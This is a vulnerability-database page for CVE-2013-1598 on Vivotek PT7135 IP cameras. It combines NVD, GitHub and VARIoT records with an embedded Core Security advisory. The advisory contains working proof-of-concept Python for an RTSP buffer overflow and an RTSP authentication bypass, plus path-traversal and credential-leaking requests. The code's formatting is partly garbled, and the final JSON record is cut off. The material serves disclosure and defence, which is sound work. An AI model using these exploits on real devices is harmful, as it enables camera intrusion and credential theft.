Vulnerability-Lookup

CVE-2013-1598 (GCVE-0-2013-1598)

Vulnerability from cvelistv5 – Published: 2020-01-24 18:32 – Updated: 2024-08-06 15:04

Summary

Severity ?

No CVSS data available.

CWE

Assigner

mitre

References

URL

FKIE_CVE-2013-1598

Vulnerability from fkie_nvd - Published: 2020-01-24 19:15 - Updated: 2024-11-21 01:49

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
cve@mitre.org	http://www.securityfocus.com/bid/59575	Third Party Advisory, VDB Entry
cve@mitre.org	https://exchange.xforce.ibmcloud.com/vulnerabilities/83946	Third Party Advisory, VDB Entry
cve@mitre.org	https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt	Exploit, Third Party Advisory
cve@mitre.org	https://packetstormsecurity.com/files/cve/CVE-2013-1598	Third Party Advisory, VDB Entry
cve@mitre.org	https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities	Exploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	http://www.securityfocus.com/bid/59575	Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108	https://exchange.xforce.ibmcloud.com/vulnerabilities/83946	Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108	https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt	Exploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://packetstormsecurity.com/files/cve/CVE-2013-1598	Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108	https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities	Exploit, Third Party Advisory

Impacted products

Vendor	Product	Version
vivotek	pt7135_firmware	0300a
vivotek	pt7135_firmware	0400a
vivotek	pt7135	-

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:vivotek:pt7135_firmware:0300a:*:*:*:*:*:*:*",
              "matchCriteriaId": "C502822B-8D6A-4415-9BDF-87D871EA56A0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:vivotek:pt7135_firmware:0400a:*:*:*:*:*:*:*",
              "matchCriteriaId": "45BA97A0-8179-415B-9DBA-0C9A83D78076",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:vivotek:pt7135:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "C775AFA9-DBFF-497B-B459-0F3D180DA195",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code."
    },
    {
      "lang": "es",
      "value": "Se presenta una vulnerabilidad de Inyecci\u00f3n de Comandos en Vivotek PT7135 IP Cameras versiones 0300a y 0400a, por medio del par\u00e1metro system.ntp en el archivo binario farseer.out, lo que podr\u00eda permitir a un usuario malicioso ejecutar c\u00f3digo arbitrario."
    }
  ],
  "id": "CVE-2013-1598",
  "lastModified": "2024-11-21T01:49:57.827",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "SINGLE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 9.0,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 8.0,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-01-24T19:15:11.933",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59575"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1598"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59575"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1598"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-JWV5-CMQR-FC8P

Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2022-05-05 00:29

Details

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2013-1598"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-24T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code.",
  "id": "GHSA-jwv5-cmqr-fc8p",
  "modified": "2022-05-05T00:29:20Z",
  "published": "2022-05-05T00:29:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1598"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1598"
    },
    {
      "type": "WEB",
      "url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/59575"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

VAR-202001-0838

Vulnerability from variot - Updated: 2024-08-14 14:26

A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code. Vivotek PT7135 IP Camera In OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. Exploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. Advisory Information

Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release

Vulnerability Information

Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598

Vulnerability Description

Multiple vulnerabilities have been found in Vivotek IP cameras [1] (and potentially cameras from other vendors sharing the affected firmware) that could allow an unauthenticated remote attacker:

[CVE-2013-1594] to process GET requests that contain sensitive information,
[CVE-2013-1595] to execute arbitrary code,
[CVE-2013-1596] to access the video stream via RTSP,
[CVE-2013-1597] to dump the camera's memory and retrieve user credentials,
[CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a).
Vulnerable Packages

. Other Vivotek cameras/firmware are probably affected too, but they were not checked.

Non-Vulnerable Packages

Vendor did not provide details. Contact Vivotek for further information.

Vendor Information, Solutions and Workarounds

There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.

Some mitigation actions may be:

. Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'.

Credits

[CVE-2013-1594] was originally discovered and reported [2] by Alejandro Leon Morales [3] and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security.

[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

Technical Description / Proof of Concept Code

8.1. Sensitive information stored in plain text includes:

. FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . Safe100.net credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices):

/----- http://192.168.1.100/cgi-bin/admin/getparam.cgi

http://192.168.1.100/setup/parafile.html -----/

8.2. Remote Buffer Overflow

[CVE-2013-1595] The following Python script can be used to trigger the vulnerability. This script will send to the RTSP service a specially crafted packet with the header field 'Authorization' fully completed with the character 'a' (0x61). As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.

/----- import socket, base64

cam_ip = '192.168.1.100' session_descriptor = 'live.sdp'

request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n'

auth_little = 'a' * 1000 auth_big = 'a' * 10000

msgs = [request % auth_little, request % auth_big]

for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close()

-----/

8.3. RTSP Authentication Bypass

[CVE-2013-1596] This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. As a result, the video stream can be accessed by an unauthenticated remote attacker.

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

class Vivotek(Camera): # Vivotek PT7135/0400a def init(self, address): Camera.init(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'

class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.CSeq:\s(\d+?)\r\n.', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass
return data

if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'

-----/

8.4. User Credentials Leaked via Path Traversal

[CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw.

/----- import httplib

conn = httplib.HTTPConnection("192.168.1.100") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() -----/

8.5. OS Command Injection

[CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp':

/----- .text:0000CB34 MOV R1, R4 .text:0000CB38 LDR R0, =aCmdporcessStar ; "[CmdPorcess] Start sync with NTP server %s"... .text:0000CB3C ADD R10, SP, #0x144+var_120 .text:0000CB40 BNE loc_CB68 [...] .text:0000CB68 BL .printf .text:0000CB6C LDR R2, =aSS_0 ; "%s%s" .text:0000CB70 LDR R3, =aUsrSbinPsntpda ; "/usr/sbin/psntpdate -4fr " .text:0000CB74 MOV R1, #0xFF ; maxlen .text:0000CB78 MOV R0, R10 ; s .text:0000CB7C STR R4, [SP,#0x144+var_144] .text:0000CB80 BL .snprintf .text:0000CB84 MOV R0, R10 ; command .text:0000CB88 BL .system
-----/

Report Timeline

. 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-03-11: Core asks for a security manager to send a confidential report. 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485). 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670). 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24: Core tries to contact vendor for last time without any reply. 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'.

References

[1] http://www.vivotek.com/web/product/NetworkCameras.aspx [2] http://www.securityfocus.com/bid/54476. [3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

Disclaimer

The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website

JSON

To clipboard

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202001-0838",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "pt7135",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "vivotek",
        "version": "0400a"
      },
      {
        "model": "pt7135",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "vivotek",
        "version": "0300a"
      },
      {
        "model": "pt7135",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "vivotek",
        "version": null
      },
      {
        "model": "pt7135",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "vivotek",
        "version": "pt7135  firmware  0300a"
      },
      {
        "model": "pt7135",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "vivotek",
        "version": "pt7135  firmware  0400a"
      },
      {
        "model": "network cameras",
        "scope": null,
        "trust": 0.6,
        "vendor": "vivotek",
        "version": null
      },
      {
        "model": "pt7135 ip camera 0300a",
        "scope": null,
        "trust": 0.6,
        "vendor": "vivotek",
        "version": null
      },
      {
        "model": "pt7135 ip camera 0400a",
        "scope": null,
        "trust": 0.6,
        "vendor": "vivotek",
        "version": null
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Francisco Falcon and Nahuel Riva of Core Exploit Writers Team",
    "sources": [
      {
        "db": "BID",
        "id": "59575"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-1598",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.0,
            "id": "CVE-2013-1598",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 1.9,
            "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 7.5,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2013-04660",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 2.8,
            "id": "CVE-2013-1598",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "High",
            "baseScore": 8.8,
            "baseSeverity": "High",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2013-1598",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "Low",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-1598",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-1598",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2013-04660",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "VULMON",
            "id": "CVE-2013-1598",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code. Vivotek PT7135 IP Camera In OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. \nExploiting this issue could allow an  attacker to execute  arbitrary commands in the context of the affected device. \nSuccessful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. *Advisory Information*\n\nTitle: Vivotek IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0301\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-04-29\nVendors contacted: 